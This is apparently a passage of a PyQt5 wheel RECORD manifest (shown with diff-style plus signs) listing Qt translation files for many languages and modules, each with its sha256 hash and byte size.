+PyQt5/Qt5/qml/QtWebView/qmldir,sha256=ylgMHWb8sVP49_5IeUcMbv4H21DS3vYG4fu_1v5Axek,124 +PyQt5/Qt5/translations/qt_ar.qm,sha256=qKGw1vlY5zZtHIVr5hAAEG0-f8mT-5MWdTaYkrkALQs,130 +PyQt5/Qt5/translations/qt_bg.qm,sha256=nhzk2RhSNSBD2RkfGpkoOPkZy6fi8tm7EWHklOi_X14,153 +PyQt5/Qt5/translations/qt_ca.qm,sha256=Fxx0JLJNhQKrU8s3hP802Pz64mVXz4r0393sZIWswv4,153 +PyQt5/Qt5/translations/qt_cs.qm,sha256=PAy_0ZSQ1n0bO56UTDpNmp5_h9euNeiNXVoAdzSbWyE,157 +PyQt5/Qt5/translations/qt_da.qm,sha256=tQNhYc6AjHKOX9qYX3kttWWDH9Ac8AsoJUd5DANzU6I,153 +PyQt5/Qt5/translations/qt_de.qm,sha256=WAW4_zdHhJeU4tcGYdc3xpwV8a52PDjhcISx5agekVM,153 +PyQt5/Qt5/translations/qt_en.qm,sha256=mVm1ELFdGJN4SK0TAH4wRZ0umTxn5WS62_wY-TVpXIU,16 +PyQt5/Qt5/translations/qt_es.qm,sha256=4l5D8Eb2ECL_6HGi9zxqEu38XD79lYwOAZpyGGCgU7A,153 +PyQt5/Qt5/translations/qt_fa.qm,sha256=spKvsHY7jHwwpa9zcr_BLYoNAL891KAAcV2fV22cGjk,293121 +PyQt5/Qt5/translations/qt_fi.qm,sha256=BIykLc5Pr1_CHYQ1duPG_ZYxRuzHhVTn5fNNB_ZPshM,117 +PyQt5/Qt5/translations/qt_fr.qm,sha256=hiQDPYSeZwsSyVMjN_y_Jg8ghI4ET-53h8_irJK-KNs,153 +PyQt5/Qt5/translations/qt_gd.qm,sha256=Sd-FWgBKF5UDOK8xRkZvbfTVhSQQvQtY6oDg0CA6nSQ,70 +PyQt5/Qt5/translations/qt_gl.qm,sha256=IEoBrH3ra1uuGTr-y9HlDRjHO_fZS63rK7_fYSPE7ZM,323590 +PyQt5/Qt5/translations/qt_he.qm,sha256=wRPRTiGNVAK2Ftq-onlpxvg4UmdkaMXvBR3d77PuAjU,83 +PyQt5/Qt5/translations/qt_help_ar.qm,sha256=IiCIyXUtHMO6uYXvLcd-WueFeNzhimHsFbOfAuWIFj0,8743 +PyQt5/Qt5/translations/qt_help_bg.qm,sha256=y83R4LuuMy2A3bCihgVvF8gk-ijTU9f98S_JfZ9v4FQ,10599 +PyQt5/Qt5/translations/qt_help_ca.qm,sha256=7NQoOmYPLPcoSbMjgQ1-rdBjEgtvVh4FqhJDpbKAlGo,7444 +PyQt5/Qt5/translations/qt_help_cs.qm,sha256=SsVvxj5ACUO6sT8dTEGFAhOJCOHUiMJK7mEx09F1Uqo,15297 +PyQt5/Qt5/translations/qt_help_da.qm,sha256=a7CSVSo5hocRn21SFF8Ev4Nzl3RG2PAMDcvVa5aCnw8,4795 +PyQt5/Qt5/translations/qt_help_de.qm,sha256=mWJSP7rp8eTDtcPBaGDQWSkcsw3F6-Wl7aTINqA_7R4,7570 +PyQt5/Qt5/translations/qt_help_en.qm,sha256=mVm1ELFdGJN4SK0TAH4wRZ0umTxn5WS62_wY-TVpXIU,16 +PyQt5/Qt5/translations/qt_help_es.qm,sha256=_RayefjPaQd_delNkMnAeir_85SKV543ifX_teX0IC0,10704 +PyQt5/Qt5/translations/qt_help_fr.qm,sha256=aH41HAYvaIqv9s8FIY1gF7gLGhtCONHTAlClXuQcX-0,10922 +PyQt5/Qt5/translations/qt_help_gl.qm,sha256=c5miSGCZdHc_YIZsh7eOp9-8T3UDE9aS94hs12OIPJ8,10891 +PyQt5/Qt5/translations/qt_help_hu.qm,sha256=cPM7VpwpQvQcbWNOpqYcuNgOsscBG61I72266Wd5YNU,10284 +PyQt5/Qt5/translations/qt_help_it.qm,sha256=MW_o0IFeK0s5aJW-s47xpAQxkVteBU34D0wM1Vbybks,10612 +PyQt5/Qt5/translations/qt_help_ja.qm,sha256=rmA7LA1DTUDN5DP_y6ZfnuJ5eKnhkxYAe-f-eCpbi0c,7917 +PyQt5/Qt5/translations/qt_help_ko.qm,sha256=8RxkaU6ONOHSxGwaHRXWup8tt7Yd5P31TspauXfD4FI,5708 +PyQt5/Qt5/translations/qt_help_pl.qm,sha256=zGy02MVAhiJGcvLknmI8jLfAwc1luNXs1C_JujpgZb0,9673 +PyQt5/Qt5/translations/qt_help_ru.qm,sha256=VXtkTm2l8exyDvk5ZWFwh-TR9AsklMxapSTPN5YQjec,7288 +PyQt5/Qt5/translations/qt_help_sk.qm,sha256=9B4z4deQvQ0-sYDx-HW8GR_nR3NijyXCytleFALmaGc,10388 +PyQt5/Qt5/translations/qt_help_sl.qm,sha256=LslV5mJAfrzY3NrlqqIeQQjgtbCu4OnbcSwnBylDU18,10363 +PyQt5/Qt5/translations/qt_help_tr.qm,sha256=697KDP7nqUQd64ALq_2XxjvE5CHaiFxVs71Jcl66zSU,4629 +PyQt5/Qt5/translations/qt_help_uk.qm,sha256=SXz8RzaEaS7kTXo3lej7InDFcGn9nrmKYV3Smrm-inw,9750 +PyQt5/Qt5/translations/qt_help_zh_CN.qm,sha256=wCqqIJI_GK3atSC-XLhO_UxyM5a9wktMmnLUBvEBx7Q,6441 +PyQt5/Qt5/translations/qt_help_zh_TW.qm,sha256=NpfxZg1_KsmzesM80cfsrgitvSZxDn4Adkl8zdyLyDA,9301 +PyQt5/Qt5/translations/qt_hu.qm,sha256=uyRqq9UB4Uztix_8E2nj1dJlZ6rmKz6tTZTCL7d8NHE,146 +PyQt5/Qt5/translations/qt_it.qm,sha256=kReqwtB7yG36VaKbiCXtJ8cJMwD8yQ4UPhNeAOhfCdc,153 +PyQt5/Qt5/translations/qt_ja.qm,sha256=I0V86OROIzxvhdVqTuaizs2Hyce93m2LipJZAu7RzZw,146 +PyQt5/Qt5/translations/qt_ko.qm,sha256=TMGvN-dx8KQ4mISc_yzUKoIEUbjSsuiJMQMWKdeB2wU,146 +PyQt5/Qt5/translations/qt_lt.qm,sha256=R-tfl0Z992kmFCHVSlvqETHJ-5tjiHkdOLtldDNbZL8,165383 +PyQt5/Qt5/translations/qt_lv.qm,sha256=A0Z3OAQqFWduUEugLLMm3Nt3OxcfraPNYreg4FZDFKA,89 +PyQt5/Qt5/translations/qt_pl.qm,sha256=vX3QwsqxGalz3BDDv_dJnZcouSi1QfhgVpIbMMjbeOY,161 +PyQt5/Qt5/translations/qt_pt.qm,sha256=LB57v1FopktDdS3UxUdgHAvebWEPhnH6PjrzhZfoR4M,70334 +PyQt5/Qt5/translations/qt_ru.qm,sha256=ZJKyZ2CMb7dpB72Pz8jx71fp9Ou8LoGsqBcVqIOI-Uo,164 +PyQt5/Qt5/translations/qt_sk.qm,sha256=tq3_2In_lr8ZXLmXMn59cAWoFcrWeCP6aRWhnC2btmg,157 +PyQt5/Qt5/translations/qt_sl.qm,sha256=xE4DE6lBTMDkkLZbDANvoRvKlZNTsiiIZUe8LISSA08,228428 +PyQt5/Qt5/translations/qt_sv.qm,sha256=S0tv9_0jfJ2gMBtJRhMuaGU9Fetfrzjkxfv-uxLdl_c,65851 +PyQt5/Qt5/translations/qt_tr.qm,sha256=9XSiz9RxWIXD299a5gmVJSZzvZT9qpWG9-BYb2wawO4,110 +PyQt5/Qt5/translations/qt_uk.qm,sha256=8WIeaA4WQvlGPksH5-eLUPmnvbfDIdcwIDnLNAXL3qQ,164 +PyQt5/Qt5/translations/qt_zh_CN.qm,sha256=KM3nXXsyyB_vHUYww3t5ph3sJLNXYy_wDWNlpX2L5Ds,117347 +PyQt5/Qt5/translations/qt_zh_TW.qm,sha256=dR7NoMM-Bh2RJBJoNX-9L2t_cKERbnFPKNIu_WHseho,141 +PyQt5/Qt5/translations/qtbase_ar.qm,sha256=4D_mjYMgFUNpj9f-Jn3V38W_0ZUUfnT_LxmsNJFAEmM,160017 +PyQt5/Qt5/translations/qtbase_bg.qm,sha256=5Eisnj8Wwp6yevMBLv4hBS2qePq_s0zW3_L2nuO9PNs,165337 +PyQt5/Qt5/translations/qtbase_ca.qm,sha256=UulPzJSQiJtVgSxUM9AJtEvcLcMXDrVbGvRE70quHX8,210159 +PyQt5/Qt5/translations/qtbase_cs.qm,sha256=AwKLQt9UeScDceTDvcffL1bLvm3alWooZKxvZBWGH-g,174701 +PyQt5/Qt5/translations/qtbase_da.qm,sha256=fR5cozELVNEEwZvyq9QCs45YTocDmnDhU8Spr3SyXCI,181387 +PyQt5/Qt5/translations/qtbase_de.qm,sha256=VTwEaDXbmt7xWVT6mldmJTZrqL_RZjcDjEvNKOXrrOE,220467 +PyQt5/Qt5/translations/qtbase_en.qm,sha256=mVm1ELFdGJN4SK0TAH4wRZ0umTxn5WS62_wY-TVpXIU,16 +PyQt5/Qt5/translations/qtbase_es.qm,sha256=T_2la6O7VBSrBILR3eZKbyJuNIj2t_PxGhUOAfU_pMg,165170 +PyQt5/Qt5/translations/qtbase_fi.qm,sha256=5H_hNxPhhNB_pEld3gxYmw6PVi6RV0o1WKk2NEOk-nI,179941 +PyQt5/Qt5/translations/qtbase_fr.qm,sha256=7bMqkzzvN2omNmNOFOKXfO1ihOSqmkrH4ikvnKVMOEo,166167 +PyQt5/Qt5/translations/qtbase_gd.qm,sha256=Y7Q53UQTmqOu1UwuvgP6m8d_IsFO2Puo7_JghEW7Iz0,189580 +PyQt5/Qt5/translations/qtbase_he.qm,sha256=4evKFq_omUNW-BygB_vbnd-GWEIBD-kIkj2HO2h8rT8,138690 +PyQt5/Qt5/translations/qtbase_hu.qm,sha256=xhtnu50ehPCrB5K2UY_gVUFKaORNDHvHyGJ3OAD6gpk,160494 +PyQt5/Qt5/translations/qtbase_it.qm,sha256=fH3ItFv05B_sYAIasT2cdlW-AHuBI9uNdTehGetko2Y,161172 +PyQt5/Qt5/translations/qtbase_ja.qm,sha256=y6OCrMRNNoDUAPLGJd6T0MS9cqkBAnae39H-kcubYXs,129911 +PyQt5/Qt5/translations/qtbase_ko.qm,sha256=AXntGxNuHLP1gzUeqixUW6PYOm7j-CwyUFkmoaX18YM,156799 +PyQt5/Qt5/translations/qtbase_lv.qm,sha256=hG4EdXOuQMg2ccO6f3PifvwkuYyCcB2g35lz5XQXi7I,153608 +PyQt5/Qt5/translations/qtbase_pl.qm,sha256=zpkDKjsL-KutdYiVzCKDcIjq2Z_S0lFOLRgGkwgc_lc,162982 +PyQt5/Qt5/translations/qtbase_ru.qm,sha256=PaZgVmj5F40RqDjEUVR4CE3PtPnPIvmdepK0ktucIks,203767 +PyQt5/Qt5/translations/qtbase_sk.qm,sha256=1YauLDFAdM85hBf97LQHCdVHjf6wpnwv5g1Qnum1ntc,125763 +PyQt5/Qt5/translations/qtbase_tr.qm,sha256=agv25w55IMKxk-dukvePMVk2lV07BqwDnZF_LgbEMoE,194487 +PyQt5/Qt5/translations/qtbase_uk.qm,sha256=Ubj_VbN9xZB9Y3qN3aEvvoFoUrAkTHTrTw-4SGenhuA,158274 +PyQt5/Qt5/translations/qtbase_zh_TW.qm,sha256=CF0p6vm7t4iy8lA9dKHvljqUEc62AEQSVM5JoSDhq2M,127849 +PyQt5/Qt5/translations/qtconnectivity_bg.qm,sha256=jVmlbFjLdyZdNg_77mehMcD9XiF3a6pcQlrMTdHjVlo,47342 +PyQt5/Qt5/translations/qtconnectivity_ca.qm,sha256=VvrpUOzwpUaa05Tb16niAhTP-oeGBN72q-xQwclpwkQ,51887 +PyQt5/Qt5/translations/qtconnectivity_da.qm,sha256=qDV2jhHNdByX465z4-W5jlUsCiO6r1NkGZtiQplN3SU,45569 +PyQt5/Qt5/translations/qtconnectivity_de.qm,sha256=DbPAOsCaelB411_O1-6NH1sfK-h4IeXvc0e9WR8xrN4,49383 +PyQt5/Qt5/translations/qtconnectivity_en.qm,sha256=mVm1ELFdGJN4SK0TAH4wRZ0umTxn5WS62_wY-TVpXIU,16 +PyQt5/Qt5/translations/qtconnectivity_es.qm,sha256=hQWZlYJ79HPukzgJGHEqZxRh-vy8YqhAahej7fxLqRU,46591 +PyQt5/Qt5/translations/qtconnectivity_hu.qm,sha256=XN77hp7VV1FBWhbURSirEy54-_U_lDutm8hLJ6zKRyo,43428 +PyQt5/Qt5/translations/qtconnectivity_ko.qm,sha256=yriGJRya5BR5hrssTrtt33a6vFuNZWm8E4EmE0IQMNk,37040 +PyQt5/Qt5/translations/qtconnectivity_pl.qm,sha256=ZP79rueSrjj8Bp8H4zmjwiAMCxiH-beFUnvz5NOm36Y,31377 +PyQt5/Qt5/translations/qtconnectivity_ru.qm,sha256=Ko3M-V4Mge9Gff1QhW47OJds-7qHW8ZNmBk7bFjeCJY,49914 +PyQt5/Qt5/translations/qtconnectivity_tr.qm,sha256=C7jNzSwO9EhxqYPxOPmkaiXw_P8nUPgcvP0kPb6IM6o,45805 +PyQt5/Qt5/translations/qtconnectivity_uk.qm,sha256=jfgAJufNS4HImOykg0iCv7SFWLalXCy4UAYbjxlHzvg,42223 +PyQt5/Qt5/translations/qtdeclarative_bg.qm,sha256=-sGrJv4NwjAnpisqYxRPgx0dkbg-PG4WERMK5dJDBiw,70152 +PyQt5/Qt5/translations/qtdeclarative_da.qm,sha256=8qMLSzoK_mWq_lL-Y08k3G2iJNYgbgHA3gD64_L4HcM,69319 +PyQt5/Qt5/translations/qtdeclarative_de.qm,sha256=j346o0Nsh7z_cRN1HpqFdvKXB1UieSmgJPKUOrS0hx4,74839 +PyQt5/Qt5/translations/qtdeclarative_en.qm,sha256=mVm1ELFdGJN4SK0TAH4wRZ0umTxn5WS62_wY-TVpXIU,16 +PyQt5/Qt5/translations/qtdeclarative_es.qm,sha256=4h-9Kbf37u5A6D4o3c7HZ-LNVDcYTIbZYUo20h0KOJY,59875 +PyQt5/Qt5/translations/qtdeclarative_fi.qm,sha256=7L3-V86szVU0TQyB46I6Q3x2VMw-fpNxAwV2EHUxBi8,65815 +PyQt5/Qt5/translations/qtdeclarative_fr.qm,sha256=2x8WzZ0btV06lX78trU5MMv3zJLFoMHXqeT-1SOe0ks,61420 +PyQt5/Qt5/translations/qtdeclarative_hu.qm,sha256=STkeNZ1WV7SrTrVzZITIBIYMA_T6XO8gMNjfbN7V_Rk,60508 +PyQt5/Qt5/translations/qtdeclarative_ja.qm,sha256=SFEOgyNRr4cH-6bax1W0PWUYLHuCYpaAXbRj8vhDHGk,45301 +PyQt5/Qt5/translations/qtdeclarative_ko.qm,sha256=yWlhkbyYqX-OLTOOR028OxhrVivjGFFkyQ6yBKSghMM,49579 +PyQt5/Qt5/translations/qtdeclarative_lv.qm,sha256=F63mXOuY2tqYKNr4mQRyv7io6kl7qN6-fSciE4mEumU,53940 +PyQt5/Qt5/translations/qtdeclarative_pl.qm,sha256=or1zCU2mWV71j0gxlpTu828H920BT93YqMNUY0lpEoA,64190 +PyQt5/Qt5/translations/qtdeclarative_ru.qm,sha256=WrOdq_CFWDoL1NmIlM7-xLHXiOggu1G7YIUfj1B5MZY,67138 +PyQt5/Qt5/translations/qtdeclarative_sk.qm,sha256=-VNg588QFp4rszc8T6UVPTXxhDR01-zkIy5wMOlFqbM,48654 +PyQt5/Qt5/translations/qtdeclarative_tr.qm,sha256=ZwEvr-wBW1VwmPnOomYYsOGLVnxCRFX5o_NUkkN_nec,69650 +PyQt5/Qt5/translations/qtdeclarative_uk.qm,sha256=hyRsepYlKwYR3QP8jx9Fkcvk8Qwo1J5FkR_KaG2tcsk,63981 +PyQt5/Qt5/translations/qtlocation_bg.qm,sha256=7x3dCKNNHjO0SPUswmFtB3hsb7q5hlAAKvCLmGc3v1M,42381 +PyQt5/Qt5/translations/qtlocation_ca.qm,sha256=uxerTHamuZXx3CTdBuGxtyug35jqPLIPw9KZep3Fzeo,46319 +PyQt5/Qt5/translations/qtlocation_da.qm,sha256=435Z5h1Jh97y1Kd2MIYXG4aq_rBf0OZPa6kKUMiCUDo,44056 +PyQt5/Qt5/translations/qtlocation_de.qm,sha256=oOsM_zHBN9Mh4_HAzc77tMUrhv3DH6dMaXXy5Nm28j4,47076 +PyQt5/Qt5/translations/qtlocation_en.qm,sha256=mVm1ELFdGJN4SK0TAH4wRZ0umTxn5WS62_wY-TVpXIU,16 +PyQt5/Qt5/translations/qtlocation_es.qm,sha256=AxLsCseH8cCcmw_xLBM46bVWKcYXGYF6KwBoAAq8MJM,23400 +PyQt5/Qt5/translations/qtlocation_fi.qm,sha256=0OKkek6ZAiqmEriCcfv7TW8wnN4oqXLjqD00mq9RcP4,43724 +PyQt5/Qt5/translations/qtlocation_fr.qm,sha256=TWF-dOkRL6tLypPIVG8_L6Qpz-VEZYWB1MEq7pWY89U,22158 +PyQt5/Qt5/translations/qtlocation_hu.qm,sha256=yI4h3-Zace4Bz-XoNlC1j4T7GOZ95r-5oVdojF5JLao,23755 +PyQt5/Qt5/translations/qtlocation_ko.qm,sha256=UbHfd6SHeB5F3EVx3riZb9P1yIcuiV-uYYKS72-c5JU,35336 +PyQt5/Qt5/translations/qtlocation_pl.qm,sha256=Yhs0Z3InD5BcrKRVxnyn1yDX9erkr71kMo83qwMBwwc,42325 +PyQt5/Qt5/translations/qtlocation_ru.qm,sha256=io4iMnXgN_d4ophBXmXmSu7r9rfpreLBS5SMfJ9Mq7c,43278 +PyQt5/Qt5/translations/qtlocation_tr.qm,sha256=i3onCPYa3VlAYcXDKshEca5HXb8fjkLiK5zIS_lB5nk,44395 +PyQt5/Qt5/translations/qtlocation_uk.qm,sha256=GRBiHOcQoj8vzmA8s7eNokokyd9Jez8mUF7dSnOLAOQ,24159 +PyQt5/Qt5/translations/qtmultimedia_ar.qm,sha256=X8EEFOFowRYbhZClwXPRQNMbF89FDwrJPmZuv3ov-Qg,11486 +PyQt5/Qt5/translations/qtmultimedia_bg.qm,sha256=rdhnX7wjUftsg5ftNpMvmFU3gt1M4EmO_FuJsFCshiY,13683 +PyQt5/Qt5/translations/qtmultimedia_ca.qm,sha256=marljOcpMStO04232KpCx3DqpMw_ZpYm-b65Z2vCHvI,14877 +PyQt5/Qt5/translations/qtmultimedia_cs.qm,sha256=bxFuei_e_oSokN8XGNI15h1XMb98Lj5XqDj27J7t4Po,15906 +PyQt5/Qt5/translations/qtmultimedia_da.qm,sha256=OdkCQRBkzFxf1FdC8XaAIqGueVNwB0Gy9gjjgH4ZEQo,13659 +PyQt5/Qt5/translations/qtmultimedia_de.qm,sha256=fRVBRovQn0o054WV2uvc_Xv3FxXDS_lcLczkG_VIQVU,15006 +PyQt5/Qt5/translations/qtmultimedia_en.qm,sha256=mVm1ELFdGJN4SK0TAH4wRZ0umTxn5WS62_wY-TVpXIU,16 +PyQt5/Qt5/translations/qtmultimedia_es.qm,sha256=CGaRG_1MbnjTUX6imN5lPK7wtySK76zbpSNudWWpsqU,17046 +PyQt5/Qt5/translations/qtmultimedia_fi.qm,sha256=YovnLB3HBlKrMC4vjMufPDKOf93ffY0cXOIQVqm6hPI,13883 +PyQt5/Qt5/translations/qtmultimedia_fr.qm,sha256=Yi-yq2bSJMlGu76LSwbMtF6ksTaLoOgioHutS3xLvTY,16502 +PyQt5/Qt5/translations/qtmultimedia_hu.qm,sha256=WJ2Fe5bLHI5tywGMjNr3G_BtMaoScYZ_hXIYPJOU-Nc,16463 +PyQt5/Qt5/translations/qtmultimedia_it.qm,sha256=rKjU3RReZx2CflgklvICgdxVmskefhP4jPUIvC1jAe0,17194 +PyQt5/Qt5/translations/qtmultimedia_ja.qm,sha256=-aiIWGxCwiiUzLQYAlfC3nApn_XVQAh7wzTadKjdWWk,14337 +PyQt5/Qt5/translations/qtmultimedia_ko.qm,sha256=9RKl6YVTXQMJ9zfmFW9ZWa6bZAXmX_dquuWhOTMvLHo,11006 +PyQt5/Qt5/translations/qtmultimedia_pl.qm,sha256=PEy3EfalnlsZ5K3A0Ka-Y8C7VfFWJq1kDbG_0dE2NmQ,12237 +PyQt5/Qt5/translations/qtmultimedia_ru.qm,sha256=MsERhBXyWjeNNWzwFlI5PI-QYxRbyPipPE-ZIWb6nU0,14109 +PyQt5/Qt5/translations/qtmultimedia_sk.qm,sha256=gvVE8x_7DOgDQPRFrSyOK6V5aUE--bXRD-QyK7lqaFE,9896 +PyQt5/Qt5/translations/qtmultimedia_tr.qm,sha256=HHmoLc0DFOvsNQKT__6eLNNczGvWPEScF41C7x2jdc8,13295 +PyQt5/Qt5/translations/qtmultimedia_uk.qm,sha256=6_ZzGEkPcMdltQtsxOs81MDquf8QoZvESgSJskzs2DQ,15781 +PyQt5/Qt5/translations/qtmultimedia_zh_TW.qm,sha256=mBSSvTt6g7KA994pa-gNVfwxUKRTWPk3ReS-Pd7sXLc,9951 +PyQt5/Qt5/translations/qtquickcontrols2_ar.qm,sha256=xc7sk0ycz-NPLbkvndw3otOUHX6j15kkIsNB_YrPeD0,640 +PyQt5/Qt5/translations/qtquickcontrols2_bg.qm,sha256=5_GFXSuWn2vSX64RYcFI_aeXfThj1GZUPqcLtxWeoGM,707 +PyQt5/Qt5/translations/qtquickcontrols2_ca.qm,sha256=qi6BUxjxYO8k-UKmesEPCOw6RJhYL59CF5-XzckbfdM,899 +PyQt5/Qt5/translations/qtquickcontrols2_da.qm,sha256=U4OmV1RSRTDd_UYfrXz4o_YKOcErSgptHzPazI6SQPs,855 +PyQt5/Qt5/translations/qtquickcontrols2_en.qm,sha256=mVm1ELFdGJN4SK0TAH4wRZ0umTxn5WS62_wY-TVpXIU,16 +PyQt5/Qt5/translations/qtquickcontrols2_hu.qm,sha256=-ap5oUmh6eQIU6UBUa8aUNdUGz7b_Z-2RdwO4KkLfqk,350 +PyQt5/Qt5/translations/qtquickcontrols2_ko.qm,sha256=Tkd_rEQBtZ2Fhn33N-YPV_7_D8qRPD3qHlEET_iTlfk,690 +PyQt5/Qt5/translations/qtquickcontrols2_tr.qm,sha256=MoROgPsUgJybjJAYhvuD6lY1Xi-UcPpWFsuW-HEzYp8,819 +PyQt5/Qt5/translations/qtquickcontrols2_uk.qm,sha256=pSdN1MTt_smZG0T7SVjaVGdE17KjLkJ2soa9nNkfDNk,9439 +PyQt5/Qt5/translations/qtquickcontrols2_zh_TW.qm,sha256=xsiz0odNCs_zacKGz8RFkGS_S1gcrNpuz3C0SoSeO-I,647 +PyQt5/Qt5/translations/qtquickcontrols_bg.qm,sha256=E-um7uU5-kVwqHhJXu840KfdZoZaGrpt7d8o1yOLs3M,30 +PyQt5/Qt5/translations/qtquickcontrols_ca.qm,sha256=u1sOEbT0JbCPoxX5bqCFjgzpxxQ56IY50iKHWTqQN_M,5113 +PyQt5/Qt5/translations/qtquickcontrols_da.qm,sha256=FY5knwUJcmghqkV1VlvZiUPJ6ptdOeMwXpD1YH4vQ_w,4917 +PyQt5/Qt5/translations/qtquickcontrols_de.qm,sha256=UEcsLplfXzzCOP8Rjsfe2eIgh7WjX3hnGgzgyoVtMOk,5198 +PyQt5/Qt5/translations/qtquickcontrols_en.qm,sha256=mVm1ELFdGJN4SK0TAH4wRZ0umTxn5WS62_wY-TVpXIU,16 +PyQt5/Qt5/translations/qtquickcontrols_fi.qm,sha256=nCkGi9ObuXFU1WHtQ4K5qrB3c1uxqRVOYqzKzj1g8BU,5077 +PyQt5/Qt5/translations/qtquickcontrols_fr.qm,sha256=N1fAOPRHtHXhnSJhmwGO-3PVOYcNB1JCmD9MPGaAJQk,5532 +PyQt5/Qt5/translations/qtquickcontrols_ja.qm,sha256=I-W0Q1P7h80Cy1IgiBT1zvPv2OWlOGn9HHgOEDBvBXY,4356 +PyQt5/Qt5/translations/qtquickcontrols_ko.qm,sha256=ixEaxv9qQ3J38uZY_v-Ws6LL0RK1iJcCNCxTGBCFKMk,4342 +PyQt5/Qt5/translations/qtquickcontrols_ru.qm,sha256=N0TjVJWI3MjnYCZOOni4E52o2jcGJgHa-xf6zeEX6io,5085 +PyQt5/Qt5/translations/qtquickcontrols_tr.qm,sha256=wr3-z0a_gp0soZ0kWK9ujqsIrkv1bqOktJgZ7ndrLEM,4967 +PyQt5/Qt5/translations/qtquickcontrols_uk.qm,sha256=AC_OxieLQsIOWlj9nkSc8ZfPTeElFzcZD159K9Q0TSU,5091 +PyQt5/Qt5/translations/qtquickcontrols_zh_TW.qm,sha256=vKugFQurZZMIy_A2QcDzPq2wJ3-O_ZJX2mrBIkVKiQk,4187 +PyQt5/Qt5/translations/qtserialport_de.qm,sha256=HU1Gqcv2bYMTQ0y2F30eBc2TthBiMHxwRJjf14q2OGw,2487 +PyQt5/Qt5/translations/qtserialport_en.qm,sha256=mVm1ELFdGJN4SK0TAH4wRZ0umTxn5WS62_wY-TVpXIU,16 +PyQt5/Qt5/translations/qtserialport_es.qm,sha256=Rg_Io79dskz1cO0Mr3LDDXVKFoWbP4AUPta5u2p4Nws,2507 +PyQt5/Qt5/translations/qtserialport_ja.qm,sha256=lkHMe8QAop7D_FT2nHKuJfGQsZmBfc0LT1ZPz1sB1jg,1744 +PyQt5/Qt5/translations/qtserialport_ko.qm,sha256=nIRH-MBpmzGPiuJu9TUAtegM4GthXhrxqSBboW9_baA,1627 +PyQt5/Qt5/translations/qtserialport_pl.qm,sha256=fYIAKFeXJnvesqYwiIEAw14KBqasvTxSVNyrAidlYU8,2002 +PyQt5/Qt5/translations/qtserialport_ru.qm,sha256=qpBpykJiQNA1uhMvPyuc8tVYY0Zt_HRaGhVr2hr4lWU,2370 +PyQt5/Qt5/translations/qtserialport_uk.qm,sha256=llpx75t-l27eNINHHQcny5921fKA0ran-1Q-o9reyZo,2424 +PyQt5/Qt5/translations/qtwebsockets_ca.qm,sha256=v8UyoeiOIGSGnt2kiW3yS3RK144x9WAG6qqSz4JFKsA,9664 +PyQt5/Qt5/translations/qtwebsockets_de.qm,sha256=aHV-r8cD9ZxcTDCeVAgUTevzAjYuHxYo1arWEMckSkw,10404 +PyQt5/Qt5/translations/qtwebsockets_en.qm,sha256=mVm1ELFdGJN4SK0TAH4wRZ0umTxn5WS62_wY-TVpXIU,16 +PyQt5/Qt5/translations/qtwebsockets_es.qm,sha256=jMtDaQKdYsUbvubSEKhBM3qHNjgqzqA9Zkoon9bxJxk,9679 +PyQt5/Qt5/translations/qtwebsockets_fr.qm,sha256=hUO-L4aTZ0jYvacPQ504VDBvzlrFyUrP02of-hbqHnE,9639 +PyQt5/Qt5/translations/qtwebsockets_ja.qm,sha256=ff4pfCdSranRGTP1VdKmFvuS9LTzwnu6eDqDq2W2H5s,7270 +PyQt5/Qt5/translations/qtwebsockets_ko.qm,sha256=vztx6rsgu8rCfF-GcbtwYOnqt7xoIbqPCdLWfugjZ7Y,7131 +PyQt5/Qt5/translations/qtwebsockets_pl.qm,sha256=SvkV3iEzq06Ta0rEhcoZ7TTsCKM5n5V2Xuem8rngdGE,7599 +PyQt5/Qt5/translations/qtwebsockets_ru.qm,sha256=bG4umRTyW60IfYL1oEOL-qm4uWW8sV5vH2nX_yLmng0,9562 +PyQt5/Qt5/translations/qtwebsockets_uk.qm,sha256=lzSl3_uImRGl2abrTqj4Hl945IMpzidH6TW833aI2Zk,9160 +PyQt5/Qt5/translations/qtxmlpatterns_bg.qm,sha256=qB1dgjCPdxsoC0QEsNe9V-g_EkZ46wG8tpptcEQZScc,112896 +PyQt5/Qt5/translations/qtxmlpatterns_ca.qm,sha256=StQ1Q31rlGlsQMLxqUmsc_eiBfVDce1pq5JQnWQDa8Y,114190 +PyQt5/Qt5/translations/qtxmlpatterns_cs.qm,sha256=N6qtp3DqHpqgjXjmso1GzSo5CAmF6UWwfsNCJ-Gt8Nk,109606 +PyQt5/Qt5/translations/qtxmlpatterns_da.qm,sha256=PmcWwlgPL7h3rRW4aoEgrSwYInW29qp2i33RxXNL5r0,1771 +PyQt5/Qt5/translations/qtxmlpatterns_de.qm,sha256=FQropFfQudgYR9ceGa07ZmdNcj86xgtIoWU3-jSLBOw,118069 +PyQt5/Qt5/translations/qtxmlpatterns_en.qm,sha256=mVm1ELFdGJN4SK0TAH4wRZ0umTxn5WS62_wY-TVpXIU,16 +PyQt5/Qt5/translations/qtxmlpatterns_es.qm,sha256=On55E5YRq0BVztvYRLmVYVYLELnC5BqOrutamnBNfFo,114789 +PyQt5/Qt5/translations/qtxmlpatterns_fr.qm,sha256=_F8nnVhwuyRPcEVsiLXmoei9mQy-StLt2VvzvGSRPZY,115909 +PyQt5/Qt5/translations/qtxmlpatterns_hu.qm,sha256=Vhrl-cAyIbWTfY6ODG8XpCq7bowN94dm009tyDgL5bI,115164 +PyQt5/Qt5/translations/qtxmlpatterns_it.qm,sha256=9gF5G2EmXyAGynt8zgwnxiCfPeqJbLkISezxits7zfQ,5107 +PyQt5/Qt5/translations/qtxmlpatterns_ja.qm,sha256=oUeW4d31Fr6ArsIwBH9lO3YPdW8h-JhfzCa9-tlcsqY,81631 +PyQt5/Qt5/translations/qtxmlpatterns_ko.qm,sha256=5h-Qlpj-mLz1vzmc8OGlXhhUhS1JVDF3tricSThkSUA,83097 +PyQt5/Qt5/translations/qtxmlpatterns_pl.qm,sha256=3jtF8c94ZP8_scJt873KQzdIJsQh6UIn5kHLDVk1Jo8,110977 +PyQt5/Qt5/translations/qtxmlpatterns_ru.qm,sha256=odI0RNTBLtnAdsggBYdZ0ajTuSCrHCu4P23gzwyNscM,107618 +PyQt5/Qt5/translations/qtxmlpatterns_sk.qm,sha256=Wj5Htnc71T_uln9fHOGDlSKaEq8RyryeImhOWL3DeHI,33325 +PyQt5/Qt5/translations/qtxmlpatterns_uk.qm,sha256=blQwsfGkkudQ68AjmE30XpqI89un1ovknv4SmZWNWe8,7942 +PyQt5/Qt5/translations/qtxmlpatterns_zh_TW.qm,sha256=VsfxMURvyW4PG9e5k3PDYwo5LIM_lz7d2D6v5o7cq3k,30964 